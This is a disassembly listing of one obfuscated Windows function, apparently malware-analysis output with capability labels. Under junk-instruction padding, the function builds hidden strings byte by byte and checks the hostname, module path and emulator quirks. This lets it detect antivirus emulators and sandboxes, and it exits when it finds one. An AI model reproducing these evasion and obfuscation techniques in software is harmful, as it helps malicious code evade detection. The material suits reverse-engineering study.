Function at 0x676550
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
pushfd
xor edi, 0xfa4c5737
xor edi, 0xfa4c5737
popfd
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
inc edi
dec edi
popfd
push edx
push edi
pop edi
pop edx
test eax, eax
xchg edi, ecx
xchg ecx, edi
mov ebx, ebx
je 0x67721b
pushfd
push eax
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov dword [ebp - 0x41c], eax
mov edi, edi
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
mov edx, edx
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pushfd
push 0xb461ce4e
add esp, 4
popfd
xchg ecx, eax
xchg ecx, eax
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov ebx, ebx
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
push edx
pop edx
cmp eax, 0x400
mov eax, eax
pushfd
inc ebx
dec ebx
popfd
jne 0x67721b
xchg esi, eax
xchg esi, eax
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
pushfd
push ebx
add esp, 4
popfd
test eax, eax
push ecx
pop ecx
xchg ebx, eax
xchg ebx, eax
je 0x67721b
push edi
pop edi
mov dword [ebp - 0x20e], 0x104
xchg edi, edx
xchg edx, edi
mov ebx, ebx
lea eax, [ebp - 0x313]
xchg edi, eax
xchg edi, eax
lea ebx, [ebp - 0x20e]
xchg edi, ecx
xchg ecx, edi
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
xchg edx, edx
push edi
push esi
pop esi
pop edi
test eax, eax
pushfd
inc edi
dec edi
popfd
xchg esi, esi
je 0x6769c5
pushfd
xor eax, 0x9439b923
xor eax, 0x9439b923
popfd
lea eax, [ebp - 0x418]
mov eax, eax
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x13
xchg ebx, eax
xchg ebx, eax
push edi
pop edi
mov byte [eax], bl
pushfd
push 0x234eda1c
add esp, 4
popfd
pushfd
xor ebx, 0x303ed7aa
xor ebx, 0x303ed7aa
popfd
add bl, 0x18
mov esi, esi
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
xor ebx, 0x7e91fe28
xor ebx, 0x7e91fe28
popfd
sub bl, 0xc
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 2], bl
mov ecx, ecx
add bl, 0x1a
pushfd
inc esi
dec esi
popfd
pushfd
xor edi, 0xda5c4e5a
xor edi, 0xda5c4e5a
popfd
mov byte [eax + 3], bl
xchg edi, eax
xchg edi, eax
pushfd
xor ebx, 0x6672347d
xor ebx, 0x6672347d
popfd
sub bl, 0x2e
pushfd
xor eax, 0x8dae45c1
xor eax, 0x8dae45c1
popfd
mov byte [eax + 4], bl
xchg edx, esi
xchg esi, edx
add bl, 0x1c
mov edx, edx
push esi
pop esi
mov byte [eax + 5], bl
pushfd
inc eax
dec eax
popfd
pushfd
push 0x137dc49d
add esp, 4
popfd
sub bl, 0x12
pushfd
inc eax
dec eax
popfd
xchg ecx, esi
xchg esi, ecx
mov byte [eax + 6], bl
mov eax, eax
pushfd
push 0x3e38d51f
add esp, 4
popfd
add bl, 0x16
pushfd
inc eax
dec eax
popfd
mov byte [eax + 7], bl
xchg esi, ebx
xchg ebx, esi
sub bl, 0x1e
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push 0xea31730b
add esp, 4
popfd
push edi
pop edi
mov byte [eax + 9], 0
pushfd
inc ecx
dec ecx
popfd
mov edx, edx
lea ebx, [ebp - 0x313]
pushfd
inc eax
dec eax
popfd
pushfd
push eax
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push edi
pop edi
pushfd
xor ebx, 0xf9652e80
xor ebx, 0xf9652e80
popfd
test eax, eax
push ecx
pop ecx
xchg edi, esi
xchg esi, edi
je 0x67721b
push ecx
push edx
pop edx
pop ecx
xchg ecx, eax
xchg ecx, eax
lea eax, [ebp - 0x418]
mov edi, edi
mov ebx, 0x61
pushfd
push 0x936751b5
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
sub bl, 0x1c
pushfd
push edi
add esp, 4
popfd
mov byte [eax], bl
push eax
pop eax
add bl, 7
pushfd
push 0xbf610e8d
add esp, 4
popfd
pushfd
xor edx, 0x2eb31313
xor edx, 0x2eb31313
popfd
mov byte [eax + 1], bl
push ecx
push edi
pop edi
pop ecx
push eax
push edx
pop edx
pop eax
sub bl, 3
pushfd
push 0xf80a3db5
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push 0xdb1d6aea
add esp, 4
popfd
sub bl, 6
pushfd
push 0x750405ea
add esp, 4
popfd
xchg edx, edx
mov byte [eax + 3], bl
pushfd
push 0x95d9aa99
add esp, 4
popfd
push eax
push edx
pop edx
pop eax
add bl, 0x17
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 5], 0
pushfd
inc ecx
dec ecx
popfd
push eax
push ebx
pop ebx
pop eax
lea ebx, [ebp - 0x313]
pushfd
inc ecx
dec ecx
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
nop
test eax, eax
push ecx
pop ecx
push eax
push ecx
pop ecx
pop eax
je 0x67721b
xchg ecx, ecx
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0x418]
xchg ecx, ecx
push edx
pop edx
mov ebx, 0x61
push eax
push ecx
pop ecx
pop eax
mov eax, eax
add bl, 0x13
push edx
pop edx
mov byte [eax], bl
pushfd
push 0x9bf82f53
add esp, 4
popfd
pushfd
xor ebx, 0x9cbed081
xor ebx, 0x9cbed081
popfd
add bl, 6
pushfd
xor edx, 0x727a036b
xor edx, 0x727a036b
popfd
mov byte [eax + 1], bl
mov edi, edi
pushfd
xor ecx, 0xfb78f186
xor ecx, 0xfb78f186
popfd
mov byte [eax + 2], 0
push edi
push eax
pop eax
pop edi
pushfd
push 0x85e67e64
add esp, 4
popfd
lea ebx, [ebp - 0x313]
pushfd
push edi
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push ebx
pop ebx
test eax, eax
pushfd
inc ecx
dec ecx
popfd
je 0x67721b
xchg ecx, edi
xchg edi, ecx
lea eax, [ebp - 0x418]
mov esi, esi
mov ebx, 0x61
mov eax, eax
sub bl, 0x14
push esi
push ebx
pop ebx
pop esi
mov byte [eax], bl
push esi
pop esi
xchg esi, eax
xchg esi, eax
sub bl, 0xc
mov esi, esi
mov byte [eax + 1], bl
pushfd
push 0x35c79657
add esp, 4
popfd
xchg esi, esi
add bl, 8
pushfd
push 0x226b6f53
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
xor edi, 0xa1015cee
xor edi, 0xa1015cee
popfd
pushfd
xor eax, 0xc3b6e506
xor eax, 0xc3b6e506
popfd
add bl, 5
xchg ecx, edx
xchg edx, ecx
mov byte [eax + 3], bl
pushfd
xor edx, 0x988f7b40
xor edx, 0x988f7b40
popfd
mov byte [eax + 4], 0
xchg ecx, eax
xchg ecx, eax
lea ebx, [ebp - 0x313]
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x748f7992
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
mov ebx, ebx
mov ecx, ecx
test eax, eax
push esi
pop esi
push ecx
pop ecx
je 0x67721b
mov ecx, ecx
mov edi, edi
push eax
pop eax
lea eax, [ebp - 0x20a]
push ebx
push eax
pop eax
pop ebx
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
pushfd
inc esi
dec esi
popfd
xchg ebx, esi
xchg esi, ebx
cmp eax, 0
xchg esi, esi
jle 0x67720b
push edx
push ebx
pop ebx
pop edx
lea eax, [ebp - 0x20a]
push esi
pop esi
pushfd
inc ebx
dec ebx
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
xchg ebx, ebx
pushfd
xor edx, 0xcddc459e
xor edx, 0xcddc459e
popfd
lea ebx, [ebp - 0x105]
push edx
pop edx
xchg ebx, esi
xchg esi, ebx
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
push edi
pop edi
lea eax, [ebp - 0x418]
pushfd
push 0xa0564bd2
add esp, 4
popfd
mov ebx, 0x61
pushfd
push ecx
add esp, 4
popfd
xchg ecx, edi
xchg edi, ecx
sub bl, 0x1e
push esi
pop esi
xchg esi, esi
mov byte [eax], bl
mov esi, esi
sub bl, 9
xchg ecx, eax
xchg ecx, eax
xchg edx, edx
mov byte [eax + 1], bl
xchg edi, eax
xchg edi, eax
pushfd
xor esi, 0x6ac6d5f0
xor esi, 0x6ac6d5f0
popfd
add bl, 0x22
pushfd
inc esi
dec esi
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
mov ebx, ebx
sub bl, 0x18
pushfd
xor esi, 0x6220931a
xor esi, 0x6220931a
popfd
mov byte [eax + 3], bl
xchg esi, edi
xchg edi, esi
xchg edx, edx
add bl, 0x2b
pushfd
xor esi, 0x5fa0c3a5
xor esi, 0x5fa0c3a5
popfd
mov byte [eax + 4], bl
push ebx
pop ebx
mov ebx, ebx
sub bl, 0xc
pushfd
push edx
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
mov byte [eax + 5], bl
pushfd
inc eax
dec eax
popfd
xchg edx, edx
add bl, 0x12
xchg edx, eax
xchg edx, eax
mov byte [eax + 6], bl
xchg ebx, ebx
pushfd
push ecx
add esp, 4
popfd
sub bl, 8
pushfd
xor ebx, 0x94e262a9
xor ebx, 0x94e262a9
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 7], bl
mov eax, eax
sub bl, 8
pushfd
push ecx
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 8], bl
mov edi, edi
add bl, 9
pushfd
xor ecx, 0x63a50ad5
xor ecx, 0x63a50ad5
popfd
push esi
push eax
pop eax
pop esi
mov byte [eax + 9], bl
pushfd
push ecx
add esp, 4
popfd
add bl, 6
mov ecx, ecx
push edx
pop edx
mov byte [eax + 0xa], bl
nop
push eax
push ebx
pop ebx
pop eax
dec bl
xchg edx, esi
xchg esi, edx
mov byte [eax + 0xb], bl
nop
sub bl, 0x53
pushfd
push edi
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
xor esi, 0x41110185
xor esi, 0x41110185
popfd
push edi
push edx
pop edx
pop edi
add bl, 0x41
mov eax, eax
mov byte [eax + 0xd], bl
pushfd
push 0xce105156
add esp, 4
popfd
add bl, 0xd
xchg edi, edi
mov byte [eax + 0xe], bl
push esi
push edx
pop edx
pop esi
sub bl, 0xa
pushfd
push 0x88651e9b
add esp, 4
popfd
mov byte [eax + 0xf], bl
push edx
pop edx
sub bl, 0x44
xchg edx, edx
mov ebx, ebx
mov byte [eax + 0x10], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
xor ebx, 0x2a2f884b
xor ebx, 0x2a2f884b
popfd
add bl, 0x33
push ebx
pop ebx
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x11], bl
xchg edi, edx
xchg edx, edi
add bl, 0x12
pushfd
push eax
add esp, 4
popfd
xchg edi, edi
mov byte [eax + 0x12], bl
pushfd
xor edx, 0xaaa6c16e
xor edx, 0xaaa6c16e
popfd
add bl, 0xf
pushfd
inc ebx
dec ebx
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x13], bl
xchg ecx, edi
xchg edi, ecx
xchg edi, eax
xchg edi, eax
mov byte [eax + 0x14], bl
nop
mov edx, edx
sub bl, 0xb
pushfd
push 0xd1d6ad69
add esp, 4
popfd
mov byte [eax + 0x15], bl
pushfd
inc eax
dec eax
popfd
mov esi, esi
add bl, 5
push ebx
pop ebx
mov byte [eax + 0x16], bl
pushfd
push 0x1901eb6f
add esp, 4
popfd
sub bl, 7
pushfd
push 0x21f7a814
add esp, 4
popfd
mov byte [eax + 0x17], bl
push ecx
pop ecx
xchg ebx, ebx
add bl, 0xc
pushfd
xor esi, 0xd1e90a35
xor esi, 0xd1e90a35
popfd
mov byte [eax + 0x18], bl
push ecx
push edi
pop edi
pop ecx
push edi
pop edi
sub bl, 0x17
xchg esi, eax
xchg esi, eax
mov byte [eax + 0x19], bl
push esi
push eax
pop eax
pop esi
pushfd
xor ecx, 0x7c22ad85
xor ecx, 0x7c22ad85
popfd
sub bl, 0x1b
pushfd
xor ecx, 0x30725c65
xor ecx, 0x30725c65
popfd
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x1a], bl
xchg edx, ecx
xchg ecx, edx
pushfd
push eax
add esp, 4
popfd
add bl, 0x23
push esi
push edi
pop edi
pop esi
mov byte [eax + 0x1b], bl
pushfd
inc edi
dec edi
popfd
add bl, 9
pushfd
xor eax, 0xbfd44129
xor eax, 0xbfd44129
popfd
pushfd
xor edi, 0x65a2e01a
xor edi, 0x65a2e01a
popfd
mov byte [eax + 0x1c], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 4
pushfd
xor edx, 0x58f76343
xor edx, 0x58f76343
popfd
push esi
push eax
pop eax
pop esi
mov byte [eax + 0x1d], bl
mov edi, edi
pushfd
push esi
add esp, 4
popfd
add bl, 5
push ebx
pop ebx
mov byte [eax + 0x1e], bl
pushfd
push 0x5fe1e0f9
add esp, 4
popfd
xchg esi, esi
sub bl, 5
push eax
pop eax
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x1f], bl
mov ecx, ecx
push edx
pop edx
add bl, 0xa
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x20], bl
push ebx
push esi
pop esi
pop ebx
inc bl
pushfd
xor ecx, 0x37e2a242
xor ecx, 0x37e2a242
popfd
mov byte [eax + 0x21], bl
pushfd
push 0xf526622
add esp, 4
popfd
sub bl, 2
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x22], bl
pushfd
inc eax
dec eax
popfd
sub bl, 0x11
mov edx, edx
mov byte [eax + 0x23], bl
xchg ebx, edx
xchg edx, ebx
add bl, 0x13
pushfd
push 0x47e12653
add esp, 4
popfd
mov byte [eax + 0x24], bl
xchg ebx, ebx
sub bl, 5
nop
mov byte [eax + 0x25], bl
pushfd
xor ebx, 0x54cbdbe4
xor ebx, 0x54cbdbe4
popfd
mov ebx, ebx
add bl, 3
mov edi, edi
mov byte [eax + 0x26], bl
xchg edx, edx
sub bl, 0x16
pushfd
push 0xa0ef0e0a
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x27], bl
pushfd
xor edx, 0xa06281ca
xor edx, 0xa06281ca
popfd
pushfd
inc edi
dec edi
popfd
sub bl, 0xf
push edx
push esi
pop esi
pop edx
mov byte [eax + 0x28], bl
pushfd
xor edi, 0x6455b00e
xor edi, 0x6455b00e
popfd
add bl, 0x2c
xchg edx, edx
mov byte [eax + 0x29], bl
pushfd
inc ebx
dec ebx
popfd
xchg esi, ebx
xchg ebx, esi
sub bl, 0x59
nop
mov byte [eax + 0x2a], bl
mov edi, edi
pushfd
xor eax, 0x58edfa48
xor eax, 0x58edfa48
popfd
add bl, 0x24
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x2b], bl
push edi
pop edi
mov ebx, ebx
add bl, 0x2b
pushfd
inc eax
dec eax
popfd
push esi
pop esi
mov byte [eax + 0x2c], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0xc
pushfd
inc ebx
dec ebx
popfd
push edi
push edx
pop edx
pop edi
mov byte [eax + 0x2d], bl
xchg esi, edx
xchg edx, esi
add bl, 0x12
pushfd
push 0xbac5734d
add esp, 4
popfd
mov byte [eax + 0x2e], bl
pushfd
push 0x39baeef2
add esp, 4
popfd
sub bl, 8
push ebx
pop ebx
pushfd
xor edi, 0x97dfeb4f
xor edi, 0x97dfeb4f
popfd
mov byte [eax + 0x2f], bl
push ebx
pop ebx
sub bl, 8
mov esi, esi
push ebx
pop ebx
mov byte [eax + 0x30], bl
push ecx
push eax
pop eax
pop ecx
add bl, 9
nop
mov byte [eax + 0x31], bl
push edx
push ebx
pop ebx
pop edx
add bl, 6
push ecx
pop ecx
pushfd
xor esi, 0x3cad5f54
xor esi, 0x3cad5f54
popfd
mov byte [eax + 0x32], bl
mov ebx, ebx
dec bl
xchg ebx, edx
xchg edx, ebx
mov byte [eax + 0x33], bl
push edi
push eax
pop eax
pop edi
xchg edi, edi
sub bl, 0x17
mov edi, edi
mov byte [eax + 0x34], bl
push ecx
pop ecx
mov esi, esi
add bl, 0x11
xchg edi, ecx
xchg ecx, edi
xchg ebx, ebx
mov byte [eax + 0x35], bl
pushfd
push 0x16a3b74b
add esp, 4
popfd
pushfd
xor edi, 0x63f19080
xor edi, 0x63f19080
popfd
add bl, 0xa
push eax
pop eax
mov byte [eax + 0x36], bl
push edx
pop edx
pushfd
push edi
add esp, 4
popfd
sub bl, 4
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x37], bl
pushfd
inc eax
dec eax
popfd
pushfd
xor ecx, 0xdba027ad
xor ecx, 0xdba027ad
popfd
sub bl, 6
xchg esi, ebx
xchg ebx, esi
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0x38], bl
pushfd
xor ebx, 0x1eeb301a
xor ebx, 0x1eeb301a
popfd
pushfd
push edi
add esp, 4
popfd
add bl, 3
xchg ebx, eax
xchg ebx, eax
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x39], bl
mov esi, esi
sub bl, 4
pushfd
push 0xc89a4bf6
add esp, 4
popfd
push eax
pop eax
mov byte [eax + 0x3a], bl
push edi
pop edi
pushfd
inc eax
dec eax
popfd
sub bl, 0x3e
push edx
pop edx
pushfd
push 0x4f23cf9
add esp, 4
popfd
mov byte [eax + 0x3b], bl
pushfd
push 0xcd0348ed
add esp, 4
popfd
add bl, 0x37
push esi
push ebx
pop ebx
pop esi
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x3c], bl
xchg edi, edi
xchg esi, eax
xchg esi, eax
add bl, 0x13
mov ecx, ecx
xchg edx, eax
xchg edx, eax
mov byte [eax + 0x3d], bl
pushfd
xor eax, 0xbbe2b709
xor eax, 0xbbe2b709
popfd
pushfd
inc ebx
dec ebx
popfd
sub bl, 0x13
xchg ebx, eax
xchg ebx, eax
mov ecx, ecx
mov byte [eax + 0x3e], bl
pushfd
push edx
add esp, 4
popfd
pushfd
xor ebx, 0xf2de4292
xor ebx, 0xf2de4292
popfd
mov byte [eax + 0x3f], 0
pushfd
push 0x19da6ff8
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
lea ebx, [ebp - 0x20a]
pushfd
push ebx
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
pushfd
xor edx, 0x9740b24c
xor edx, 0x9740b24c
popfd
test eax, eax
push ecx
push edi
pop edi
pop ecx
pushfd
xor esi, 0xd1de8b88
xor esi, 0xd1de8b88
popfd
je 0x67721b
push ebx
pop ebx
lea eax, [ebp - 0x418]
mov eax, eax
xchg esi, eax
xchg esi, eax
mov ebx, 0x61
mov eax, eax
sub bl, 0x1e
mov ebx, ebx
pushfd
push ecx
add esp, 4
popfd
mov byte [eax], bl
mov esi, esi
pushfd
xor eax, 0x62ab8ab5
xor eax, 0x62ab8ab5
popfd
sub bl, 9
push ecx
push esi
pop esi
pop ecx
mov byte [eax + 1], bl
pushfd
push ecx
add esp, 4
popfd
add bl, 0x22
pushfd
inc esi
dec esi
popfd
mov byte [eax + 2], bl
pushfd
inc ebx
dec ebx
popfd
sub bl, 9
push ecx
push esi
pop esi
pop ecx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 3], bl
push ecx
push eax
pop eax
pop ecx
push ebx
push eax
pop eax
pop ebx
sub bl, 0xe
push eax
pop eax
pushfd
push 0x90e11940
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
push 0x89ef73e9
add esp, 4
popfd
add bl, 7
push edx
pop edx
xchg edx, esi
xchg esi, edx
mov byte [eax + 5], bl
push eax
push ecx
pop ecx
pop eax
sub bl, 6
xchg edx, edx
mov byte [eax + 6], bl
pushfd
xor esi, 0xfd05849b
xor esi, 0xfd05849b
popfd
nop
sub bl, 0x18
xchg edi, edi
mov byte [eax + 7], bl
push eax
pop eax
pushfd
xor edi, 0xcfa6dcc3
xor edi, 0xcfa6dcc3
popfd
add bl, 0x17
pushfd
xor ebx, 0x46dcc6a5
xor ebx, 0x46dcc6a5
popfd
mov byte [eax + 8], bl
pushfd
xor edx, 0xfd25165f
xor edx, 0xfd25165f
popfd
pushfd
inc ecx
dec ecx
popfd
add bl, 0x13
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
inc eax
dec eax
popfd
sub bl, 0x13
push ebx
push edx
pop edx
pop ebx
mov byte [eax + 0xa], bl
push edx
push esi
pop esi
pop edx
mov byte [eax + 0xb], 0
xchg ecx, ecx
lea ebx, [ebp - 0x20a]
pushfd
push ebx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
nop
pushfd
push ebx
add esp, 4
popfd
test eax, eax
mov edi, edi
je 0x67721b
mov eax, eax
push esi
push ecx
pop ecx
pop esi
lea eax, [ebp - 0x418]
pushfd
inc ecx
dec ecx
popfd
mov ebx, 0x61
xchg edx, esi
xchg esi, edx
add bl, 0xc
xchg edi, eax
xchg edi, eax
xchg ebx, ebx
mov byte [eax], bl
push esi
pop esi
add bl, 0xc
pushfd
push 0xdc448695
add esp, 4
popfd
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 1], bl
xchg edi, edi
sub bl, 0x18
pushfd
push esi
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
mov byte [eax + 2], bl
pushfd
push esi
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
add bl, 0xf
xchg esi, edi
xchg edi, esi
mov byte [eax + 3], bl
push eax
push esi
pop esi
pop eax
mov byte [eax + 4], bl
xchg edx, edx
sub bl, 0x42
pushfd
push ecx
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 5], bl
xchg ecx, ebx
xchg ebx, ecx
add bl, 0x37
mov eax, eax
mov byte [eax + 6], bl
pushfd
push 0xe929cdbf
add esp, 4
popfd
add bl, 0x13
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 7], bl
push eax
push ecx
pop ecx
pop eax
xchg esi, ebx
xchg ebx, esi
sub bl, 0x13
push ecx
pop ecx
xchg esi, eax
xchg esi, eax
mov byte [eax + 8], bl
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 9], 0
mov ebx, ebx
lea ebx, [ebp - 0x105]
pushfd
push 0x81c052d2
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
push esi
push ecx
pop ecx
pop esi
xchg esi, ebx
xchg ebx, esi
test eax, eax
push edi
push esi
pop esi
pop edi
mov eax, eax
je 0x67721b
push edi
push ebx
pop ebx
pop edi
pushfd
push 0x4338be19
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
xor eax, eax
xchg edi, edi
xchg edi, esi
xchg esi, edi
leave
ret
xchg esi, eax
xchg esi, eax
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]